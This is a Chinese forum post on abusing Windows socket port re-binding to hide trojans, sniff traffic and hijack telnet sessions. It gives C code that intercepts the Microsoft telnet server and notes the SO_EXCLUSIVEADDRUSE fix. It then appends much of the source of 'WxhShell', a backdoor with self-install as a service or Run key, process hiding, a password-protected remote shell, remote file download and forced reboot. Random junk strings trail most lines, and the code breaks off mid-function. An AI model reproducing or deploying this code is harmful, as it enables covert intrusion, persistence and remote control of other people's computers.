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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MI[=,0`D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @:DS/#!  
fT.5@RR7^  
  saddr.sin_family = AF_INET; 9.5hQZ  
Hl&]r'bK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >iP>v`J  
i>bFQ1Rdx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l7 D/ ]&  
?9q{b\=l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z41 p $  
Yyl2J#$!  
  这意味着什么?意味着可以进行如下的攻击: k|l"Rh<\~  
p\e*eV1dxx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &,':@OQ  
g<~[k?~J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Tr}@fa  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _:om(gL  
8<u_ wt@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~S Js2- 2  
di6A.N5A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s#sr1[9}G  
9s)YPlDz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .a:Oj3=0  
B\bIMjXV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {: EQ  
9;;1 "^4/  
  #include )_EQU8D4ug  
  #include 1p,G8v+B  
  #include |::kC3=  
  #include    EAFKf*K=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w&;\}IS  
  int main() Ov%9S/d  
  { ,<zZKR_  
  WORD wVersionRequested; ja2LQe@ Q  
  DWORD ret; \@4QG.3&  
  WSADATA wsaData; zqYfgV  
  BOOL val; d; @Kz^  
  SOCKADDR_IN saddr; o <LA2 q`T  
  SOCKADDR_IN scaddr; ihH!"HH+  
  int err; B dm<<<  
  SOCKET s; n[WXIE<  
  SOCKET sc; J8a4.prqI  
  int caddsize; Z.m.Uyz{7  
  HANDLE mt; D8W:mAGEu  
  DWORD tid;   I_xJ[ALdm  
  wVersionRequested = MAKEWORD( 2, 2 ); y)U8\  
  err = WSAStartup( wVersionRequested, &wsaData ); O3*Vilx  
  if ( err != 0 ) { -tx)7KV-  
  printf("error!WSAStartup failed!\n"); =fBJQK2sk  
  return -1; @6.1EK0  
  } )@Xdr0  
  saddr.sin_family = AF_INET; %{/0K<M  
   ' 7>}I{Lq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7K9+7I&C  
`Y.RAw5LrE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aI|)m8 >)X  
  saddr.sin_port = htons(23); Ltcr]T(Ic  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V0JoUyZ  
  { Cgw#c%  
  printf("error!socket failed!\n"); L0|Vc9  
  return -1; aqs']  
  } Q8Usyc'3  
  val = TRUE; F>A-+]X3o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q+G=f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7"4|`y^#  
  { iO#H_&L.p  
  printf("error!setsockopt failed!\n"); e5fJN)+a  
  return -1; !l6B_[!@  
  } 9L:v$4{LU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e~rBV+f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uK(+WA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jopC\Z  
\/K>Iv'$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BY,%+>bc)  
  { 1[3"|  
  ret=GetLastError(); vR1%&(f{  
  printf("error!bind failed!\n"); mMT7`r;l  
  return -1; -lSm:O@'  
  } pSq\3Hp]Q  
  listen(s,2); `-ENKr]  
  while(1) =]W{u`   
  { 5bmtUIj  
  caddsize = sizeof(scaddr); m !;mEBL{  
  //接受连接请求 @ n;WVG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u# =N8  
  if(sc!=INVALID_SOCKET) IRo[|&c  
  { Vzbl* Zmx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `p1`Sxz?  
  if(mt==NULL) J+DuQ;k;  
  { lt0(Kf g  
  printf("Thread Creat Failed!\n"); b'9G`Y s^  
  break; ~,':PUkiV  
  } %I Y-0\  
  } &B3\;|\  
  CloseHandle(mt); , {z$M  
  } >wcsJ {I  
  closesocket(s); k~=-o>}C  
  WSACleanup(); Zb2 B5( 0  
  return 0; SCxzT}#J  
  }   MzK&Jh  
  DWORD WINAPI ClientThread(LPVOID lpParam) Vg[U4,  
  { 9lTA/-  
  SOCKET ss = (SOCKET)lpParam; 7Ox vq^[  
  SOCKET sc; _IpW &  
  unsigned char buf[4096]; (2qo9j"j/Y  
  SOCKADDR_IN saddr; D"1ciO8^I]  
  long num; ]]%C\Ryy}  
  DWORD val;  5Y9 j/wA  
  DWORD ret; i-E&Y*\^9H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )J#@L*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   62vz 'b  
  saddr.sin_family = AF_INET; y ImriCT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sMO3eNLn  
  saddr.sin_port = htons(23); \UB<'~z6!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  XyhO d$)  
  { B)^]V<l(w  
  printf("error!socket failed!\n"); $a5K  
  return -1; &5d>jEaB}  
  } H`@x5RjS   
  val = 100; miN(a; Q2P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hr6f}2  
  { toIljca  
  ret = GetLastError(); >!WJ{M0  
  return -1; uF(- h~  
  } pM VeUK?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :l9C7o  
  { 4dfe5\  
  ret = GetLastError(); =~aJ]T}(  
  return -1; ? # G_ &  
  } cVulJ6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^O892-R  
  { /[EI0 ~P  
  printf("error!socket connect failed!\n"); `VBjH]$  
  closesocket(sc); .WG@"2z|  
  closesocket(ss); >656if O  
  return -1; o_G.J4 V  
  } 'w9tZO\2  
  while(1) ',1rW  
  { &x=<>~Ag3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,hOJe=u46  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7?hC t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qVM]$V#e  
  num = recv(ss,buf,4096,0); $<33E e:a  
  if(num>0) 'm/b+9?.  
  send(sc,buf,num,0); +U6! bu>C  
  else if(num==0) _bMs~%?~/  
  break; 80+" x3r  
  num = recv(sc,buf,4096,0); W BiBtU  
  if(num>0) )0d3sJ8  
  send(ss,buf,num,0); QL\'pW5  
  else if(num==0) *4(.=k  
  break; +;>>c`{  
  } `pcjOM8u  
  closesocket(ss); 6(ja5)sn*  
  closesocket(sc); hR{Fn L  
  return 0 ; }:hdAZ+z  
  } s@3!G+ -}  
sHEISNj/^  
g" M1HxlV  
========================================================== yr;oq(&N  
/D~ ,X48+  
下边附上一个代码,,WXhSHELL #vS>^OyP  
3d,|26I7f  
========================================================== iWtWT1n8n  
E|^a7-}|  
#include "stdafx.h" 9'4cqR  
_N<qrH^;  
#include <stdio.h> V25u'.'v  
#include <string.h> 2+?M(=4  
#include <windows.h> X$st{@}ZB  
#include <winsock2.h> zR`]8E]  
#include <winsvc.h> x3M`l|  
#include <urlmon.h> i.byHz?/  
}QC: !e,yG  
#pragma comment (lib, "Ws2_32.lib") +*|E%pq  
#pragma comment (lib, "urlmon.lib") ?SQT;C3j(  
v=X\@27= ?  
#define MAX_USER   100 // 最大客户端连接数 oHa6fi  
#define BUF_SOCK   200 // sock buffer lv8tS-  
#define KEY_BUFF   255 // 输入 buffer 8\ :T*u3  
"kN5AeRg  
#define REBOOT     0   // 重启 q+m&V#FT%  
#define SHUTDOWN   1   // 关机 }S42.f.p  
7v\OS-  
#define DEF_PORT   5000 // 监听端口 +$<m;@mZ  
*?i~AXJm  
#define REG_LEN     16   // 注册表键长度 n ~ =]/  
#define SVC_LEN     80   // NT服务名长度 *np%67=jO  
12rr:(#%s  
// 从dll定义API lFRgyEPH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w\\    
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8taaBM`:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5$O@+W!?@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u37+B  
;xj^*b  
// wxhshell配置信息 ?EtK/6dJZt  
struct WSCFG { 4l z9z>J.V  
  int ws_port;         // 监听端口 duwZe+  
  char ws_passstr[REG_LEN]; // 口令 $%!]tNGS  
  int ws_autoins;       // 安装标记, 1=yes 0=no NVOY,g=3X  
  char ws_regname[REG_LEN]; // 注册表键名 u/,m2N9cL  
  char ws_svcname[REG_LEN]; // 服务名 jN B-FVaT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,D#~%kq~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t(s']r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9RAN$\AKy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pRYt.}/K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e+&/ Tq'2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a Fl(K\  
,>e<mphM  
}; &{7%Vs TB  
]i{-@Ven  
// default Wxhshell configuration [zY9"B<3  
struct WSCFG wscfg={DEF_PORT, (s \Nm_j  
    "xuhuanlingzhe", 58=fT1 B  
    1, 7j@TW%FmV\  
    "Wxhshell", o 0fsM;K  
    "Wxhshell", R2r0'Yx  
            "WxhShell Service", q`qbaX\J3  
    "Wrsky Windows CmdShell Service", =NlAGzv!w  
    "Please Input Your Password: ", L-$GQGk{  
  1, n!f @JHL  
  "http://www.wrsky.com/wxhshell.exe", ^IC|3sr   
  "Wxhshell.exe" GV%ibqOpQj  
    }; <.:B .k  
|*8 J.H*r  
// 消息定义模块 @mw1(J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1tfm\/V}ho  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .PF~8@1ju  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4S+P]U*jW  
char *msg_ws_ext="\n\rExit."; WJ/&Ag1  
char *msg_ws_end="\n\rQuit."; HhIa=,VY  
char *msg_ws_boot="\n\rReboot..."; tn:tM5m  
char *msg_ws_poff="\n\rShutdown..."; M|e@N  
char *msg_ws_down="\n\rSave to "; Nhuw8Xv  
J/ 4kS<c  
char *msg_ws_err="\n\rErr!"; Pc1vf]  
char *msg_ws_ok="\n\rOK!"; 6&h,eQ!  
QDLtilf :  
char ExeFile[MAX_PATH]; RD,` D!  
int nUser = 0; A.(Z0,S-i  
HANDLE handles[MAX_USER]; m[%&K W(  
int OsIsNt; %m{h1UQQ +  
WG1x:,-  
SERVICE_STATUS       serviceStatus; !WAbO(l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lKwIlp  
OBu$T&  
// 函数声明 $S3C_..  
int Install(void); _AK-AY  
int Uninstall(void); ofRe4 *\j  
int DownloadFile(char *sURL, SOCKET wsh); UDGVq S!,E  
int Boot(int flag); gh3_})8c  
void HideProc(void); na>UFw7>*  
int GetOsVer(void); 02?y%  
int Wxhshell(SOCKET wsl); Sh=z  
void TalkWithClient(void *cs); n{=vP`V_  
int CmdShell(SOCKET sock); ~#O nA1)  
int StartFromService(void); +.gZILw  
int StartWxhshell(LPSTR lpCmdLine); !$Nh:(>:  
,uK }$l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $M#G;W5c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X8y&|uH  
7oK!!Qd^w  
// 数据结构和表定义 PWmFY'=  
SERVICE_TABLE_ENTRY DispatchTable[] = rVkRU5  
{ sF f@>  
{wscfg.ws_svcname, NTServiceMain}, l g~Gkd6  
{NULL, NULL} ,n^{!^JW  
}; "}(*Km5Po  
=5',obYN>c  
// 自我安装 :[,-wZiT~6  
int Install(void) tVFl`Xr   
{ lfK sqe"  
  char svExeFile[MAX_PATH]; 3hGYNlQ^  
  HKEY key; <U$x')W  
  strcpy(svExeFile,ExeFile); <Y9e n!3\  
N-y[2]J90  
// 如果是win9x系统,修改注册表设为自启动 "V}WV!w  
if(!OsIsNt) { |!,;IoZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &r do Mc;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X8"4)IZ3  
  RegCloseKey(key); ^#KkO3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2old})CLJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^e1@o\]  
  RegCloseKey(key); ;y/&p d+  
  return 0; cY0NQKUk~  
    } 2.qEy6  
  } -QN1= G4  
} kq8.SvIb  
else { ~5q1zr)E  
yX0n yhq  
// 如果是NT以上系统,安装为系统服务 T1_O~<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4hz T4!15  
if (schSCManager!=0) P XKEqcQR  
{ gE\&[;)DB  
  SC_HANDLE schService = CreateService `-/-(v+ i  
  ( .J"QW~g^  
  schSCManager, Uc^eIa@  
  wscfg.ws_svcname, n 9PYZxy  
  wscfg.ws_svcdisp, 0*]n#+=  
  SERVICE_ALL_ACCESS, x+EkL3{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Je5}Z.3m  
  SERVICE_AUTO_START, u5;;s@{Ye4  
  SERVICE_ERROR_NORMAL, q HaH=g%  
  svExeFile, @IhC:Yc  
  NULL, OD]`oJ|  
  NULL, J}BN}|Y@2  
  NULL, ?I{L^j^#4  
  NULL, 9sG]Q[:.]  
  NULL N?`V;`[  
  ); -M5vh~Tp  
  if (schService!=0) dhv?36uE  
  { f$ 9O0,}%O  
  CloseServiceHandle(schService); ``4e&  
  CloseServiceHandle(schSCManager); ;x%"o[[>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SO4?3wg7  
  strcat(svExeFile,wscfg.ws_svcname); EM QGP<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \Kr8k`f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2*Zk^h=  
  RegCloseKey(key); _t&` T  
  return 0; %e^GfZ  
    } =gNPS 0H  
  } n&OM~Vs  
  CloseServiceHandle(schSCManager); }@x!r=O)I  
} mX 3p   
} _Z7`tUS-j  
;`Nh@*_  
return 1; <yl%q*gls  
} z_93j3 #  
qYoB;gp  
// 自我卸载 ^G|* =~_  
int Uninstall(void) vMd3#@  
{ o1`\*]A7J  
  HKEY key; ;3x*pjLG:Q  
b:Z&;A|"{  
if(!OsIsNt) { Xii>?sA5Z"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y+3+iT@i  
  RegDeleteValue(key,wscfg.ws_regname); E75/EQ5p]p  
  RegCloseKey(key); 3ew4QPT'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [?%q,>F  
  RegDeleteValue(key,wscfg.ws_regname); >)F "lR:o  
  RegCloseKey(key); zD)/QFILy  
  return 0; ]Hp>~Zvbb  
  } XeX\u3<D  
} DA1?M'N  
} B*Q9g r  
else { o?Aj6fNY?  
Z1#u&oX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2ah%,o  
if (schSCManager!=0) Mg #yl\v  
{ >-w(P/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $=iw<B r  
  if (schService!=0) _%q~K (::  
  { jp_|pC'  
  if(DeleteService(schService)!=0) { =Ox}WrU~  
  CloseServiceHandle(schService); #x;,RPw5  
  CloseServiceHandle(schSCManager);  />Q}0H g  
  return 0; \yl|*h3  
  } NV7k@7_{B  
  CloseServiceHandle(schService); !_vxbfZO  
  } SE'!j]6jI  
  CloseServiceHandle(schSCManager); Z\?2"4H  
} N_I KH)  
} tI1OmhNN  
LH)XD[  
return 1; I)tiXcJw  
} ]?pQu'-(  
~: {05W  
// 从指定url下载文件 M@#T`aS  
int DownloadFile(char *sURL, SOCKET wsh) 9.8%Iw  
{ vfc:ok1  
  HRESULT hr; s3HVX'   
char seps[]= "/"; ;-6-DEL  
char *token; |GtvgvO,  
char *file; y{S8?$dU$:  
char myURL[MAX_PATH]; d2V X\  
char myFILE[MAX_PATH];  V\o7KF  
V:$+$"|  
strcpy(myURL,sURL); RFMPh<Ac  
  token=strtok(myURL,seps); =e4 r=I  
  while(token!=NULL) |~r-VV(=  
  { T5 (|{-  
    file=token; tLBtE!J$[  
  token=strtok(NULL,seps); # obRr#8  
  } z%OKv[/N  
@^xtxtjzux  
GetCurrentDirectory(MAX_PATH,myFILE); 4);_f  
strcat(myFILE, "\\"); %8,$ILN  
strcat(myFILE, file); g:>'+(H;  
  send(wsh,myFILE,strlen(myFILE),0); T9C_=0(hn  
send(wsh,"...",3,0); 0^lWy+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CmZayV  
  if(hr==S_OK) L.Qz29\  
return 0; +{1.kb Zq  
else I|U'@E  
return 1; .E<nQWz 8  
;$QC_l''b  
} L-T,[;bl  
DcW?L^Mst  
// 系统电源模块 <.Ws; HN}  
int Boot(int flag) 1Y|a:){G  
{ cg.{oMwa  
  HANDLE hToken; ` y\)X C7  
  TOKEN_PRIVILEGES tkp; hW~.F  
8.i4QaU  
  if(OsIsNt) { 83n%pS4x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /]_t->  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <7M-?g:vj  
    tkp.PrivilegeCount = 1; y3zP`^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ix5&B6L8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rW:krx9  
if(flag==REBOOT) { );$99t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TaN{xpo  
  return 0; /8FmPCp}r  
} _y@].G  
else { mHxR4%i5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fl-\{vOn  
  return 0; T#) )_aC  
} wY8:j  
  } `ePC$Ovn  
  else { -QrC>3xZR  
if(flag==REBOOT) { V)j[`,M:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -L1785pB85  
  return 0; T3X'73M  
} +(W1x C0  
else { wDJ`#"5p{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ']r8q %  
  return 0; pk :P;\  
} u^1#9bAW8  
} KJA :;   
v1 .3gzR  
return 1; CkT(\6B-  
} DxJ;C09xNa  
]:P7}Kpb  
// win9x进程隐藏模块 nlwqSXw  
void HideProc(void) xu2 KEwgb  
{ S/nPK,^d2  
qCV<-o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |' Fe?~P`  
  if ( hKernel != NULL ) 9} (w*>_L  
  { 558P"w0"X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \$ytmtf5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <$A,Ex94  
    FreeLibrary(hKernel); c0qp-=^&.  
  } b:m+I  
5 4gr'qvr  
return; -U d^\Yy  
} o~Se[p  
tyu@ a CK  
// 获取操作系统版本 9R50,l sE  
int GetOsVer(void) .Pb-{!$Ni  
{ :D D<0  
  OSVERSIONINFO winfo; Lo%n{*if  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \N,ox(f?gW  
  GetVersionEx(&winfo); 9)Fx;GxL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tt"<1 z@  
  return 1; NRi5 Vp2=  
  else &X=7b@r  
  return 0; CXa[%{[n  
} eb62(:=N6  
?=VvFfv%  
// 客户端句柄模块 (_T{Z>C/J  
int Wxhshell(SOCKET wsl) A,}M ^$@  
{ o ).deP s-  
  SOCKET wsh; B5b:znW2@  
  struct sockaddr_in client; %6UF%dbYH`  
  DWORD myID; h>-P/  
h051Ol\v*  
  while(nUser<MAX_USER) I;(3)^QH#  
{ at: li  
  int nSize=sizeof(client); 3S^0%"fY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #z\ub5um  
  if(wsh==INVALID_SOCKET) return 1; ;_o]$hV|  
ekM? ' 9ez  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YuXJT*  
if(handles[nUser]==0) T(b9b,ov)  
  closesocket(wsh); x:Y9z_)O  
else JU 9GJ"  
  nUser++; 22gh!F%)  
  } j[>cv;h ;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *{g3ia  
y0zMK4b  
  return 0; +P/kfY"  
} W(,j2pU  
p3Sh%=HE'  
// 关闭 socket }>A q<1%  
void CloseIt(SOCKET wsh) ]<;,HGO  
{ p_FM 2K7!  
closesocket(wsh); ~>2uRjvkwB  
nUser--; k3~9;Z  
ExitThread(0); .E4* >@M5  
} E5k)~P`|  
z _!ut  
// 客户端请求句柄 TdtV (  
void TalkWithClient(void *cs) swKkY`g  
{ +v Bi7#&  
Y G+|r  
  SOCKET wsh=(SOCKET)cs; Syk)S<  
  char pwd[SVC_LEN]; \Wbmmd}8  
  char cmd[KEY_BUFF]; TT$A o  
char chr[1]; ys[Li.s:  
int i,j; }F`|_8L*v)  
oMh$:jR$  
  while (nUser < MAX_USER) { odRiCiMH  
6Rc=!_v^  
if(wscfg.ws_passstr) { Knq 9 "k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K1& QAXyP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |V9[a a*c  
  //ZeroMemory(pwd,KEY_BUFF); gQ1 obT"|  
      i=0; 0-. d{P  
  while(i<SVC_LEN) { r*X,]\V0x  
 Z>[7#;;  
  // 设置超时 2*#|t: (c  
  fd_set FdRead; f5jl$H.  
  struct timeval TimeOut; JF~i.+{ h  
  FD_ZERO(&FdRead); u-_r2U  
  FD_SET(wsh,&FdRead); Gp"GTPT{  
  TimeOut.tv_sec=8; ?J}Q&p.  
  TimeOut.tv_usec=0; $( hT{C,K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $] 6u#5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  @MW@mP)#  
+-9vrEB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g=*jKSZ  
  pwd=chr[0]; 5&]5*;BvJ  
  if(chr[0]==0xd || chr[0]==0xa) { 3h:j.8Z  
  pwd=0; =ily=j"hK  
  break; 20:F$d  
  } Lvk}%,S8t  
  i++; *$f=`sj  
    } D3pz69W  
36d nS>4  
  // 如果是非法用户,关闭 socket j\>LJai"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .l}Ap7@  
} H4/wO  
_|k$[^ln^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZsmOn#`=^}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PEMkx"h +  
9 {4yC9Oz>  
while(1) { \kADh?phV  
sNf& "C!;  
  ZeroMemory(cmd,KEY_BUFF);   f XD+  
KA3U W  
      // 自动支持客户端 telnet标准   |tXA$}"L8  
  j=0; 4l D$'`  
  while(j<KEY_BUFF) {  q+P@2FL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .)Tj}Im2p  
  cmd[j]=chr[0]; q"2QNF'  
  if(chr[0]==0xa || chr[0]==0xd) { v.0qE}' |  
  cmd[j]=0; MKK ^-T  
  break; g \mE  
  } kA :Y^2X'  
  j++; !_W:%t)g  
    } blO4)7m  
4kOO3[r  
  // 下载文件 #-{<d% qk  
  if(strstr(cmd,"http://")) { U,P_bz*)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k.J%rRneN  
  if(DownloadFile(cmd,wsh)) ofvR0yV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UwN Vvo  
  else `L1,JE` q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P_bB{~$4  
  } z8kO)'  
  else { xR7ZqTcw  
Gnc`CyN:H  
    switch(cmd[0]) { Q|y }mC/  
  ~!S3J2kG{  
  // 帮助 )^(*B6;z5  
  case '?': { Zxk~X}K\P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ffKgVQux  
    break; s%[F,hQRk  
  } |/.J{=E0K  
  // 安装 5Qgu:)}  
  case 'i': { 2"/MM2s  
    if(Install()) l#)X/(?;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {UiSa'TR1b  
    else `oRyw6Sko  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3?OQ-7,  
    break; sXLW';Fz  
    } >.:+|Br`  
  // 卸载 n@p]v*  
  case 'r': { =SDex.ZK]  
    if(Uninstall()) F72#vS j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d^=BXC oC  
    else >w,L=z=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >XN[KPTa  
    break; C{)1#<`  
    } C6+ 5G-Z  
  // 显示 wxhshell 所在路径 O\}C`CiC  
  case 'p': { YAi-eL67l  
    char svExeFile[MAX_PATH]; {v={q1  
    strcpy(svExeFile,"\n\r"); Mf5j'n  
      strcat(svExeFile,ExeFile); kHM Jh~  
        send(wsh,svExeFile,strlen(svExeFile),0); ]m1fo'  
    break; UpoSC  
    } -@Ap;,=  
  // 重启 Y,]Lk<Hm3  
  case 'b': { z/?* h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B-I4(w($  
    if(Boot(REBOOT)) _[:6.oNjIe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8za'@D"f  
    else { D%>Bj>xQD  
    closesocket(wsh); 6)[moR{N1  
    ExitThread(0); bpu`'Vx  
    } Iu'9yb  
    break; <,vIN,Kl8/  
    } PgtLyzc  
  // 关机 Ku5||u.F4*  
